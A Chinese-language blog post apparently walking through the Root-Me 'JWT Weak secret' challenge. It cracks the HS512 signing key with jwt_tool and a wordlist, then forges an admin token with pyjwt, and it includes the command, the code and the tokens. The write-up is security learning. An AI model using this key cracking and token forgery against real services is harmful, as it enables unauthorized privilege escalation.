个人博客地址
darkerbox.
欢迎大家学习交流
Root-me网址:
root-me./en/Challenges/Web-Server/JSON-Web-Token-JWT-Weak-secret
知识点
jwt 弱密钥前言
继上篇文章JSON Web Token (JWT) - Introduction后:
这篇文章主要讲的是弱密钥。我们都知道jwt签名时候都需要一个密钥。如果这个密钥是弱密钥的话,是可以爆破出来的
访问主页
提示使用get方式请求token页面。然后使用token通过post访问admin页面
先访问token页面
给出了tocken.
{"Here is your token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw"}
通过.分割,依次解码。得到payload
{"role":"guest"}
现在,我们尝试吧guest修改为admin。然后通过加密密钥获得签名。但现在我们没有加密密钥,需要先进行爆破。。使用:github./ticarpi/jwt_tool来进行爆破
安装好后,执行下条命令,直接将token传给这个文件
python3 jwt_tool.py eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiZ3Vlc3QifQ.a4Cxf97xhqpexX-Mw0Ik74ncg6TdCK8R_Q7wYC929himTEOyJmePFYCJYvj-ICUTZrVqjPUa83GeMO5AVuOH0Q
在这里我们选 选项77: Crack signature with supplied dictionary file
。通过字典破解签名。然后再输入字典路径。
很快爆出了密钥是lol。
知道密钥后,再次在python加密
没有jwt的先执行pip install pyjwt
import jwt
encoded = jwt.encode({'role': 'admin'}, 'lol', algorithm='HS512')
encoded
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiYWRtaW4ifQ.y9GHxQbH70x_S8F_VPAjra_S-nQ9MsRnuvwWFGoIyKXKk8xCcMpYljN190KcV1qV6qLFTNrvg4Gwyv29OCjAWA
我使用post请求访问admin页面,提示格式必须为Authorization: Bearer YOURTOKEN
bp抓包修改头。
欢迎大家一起学习交流,共同进步,欢迎加入信息安全小白群
更多推荐
JSON,RooteMe,Web,JWT,Token
发布评论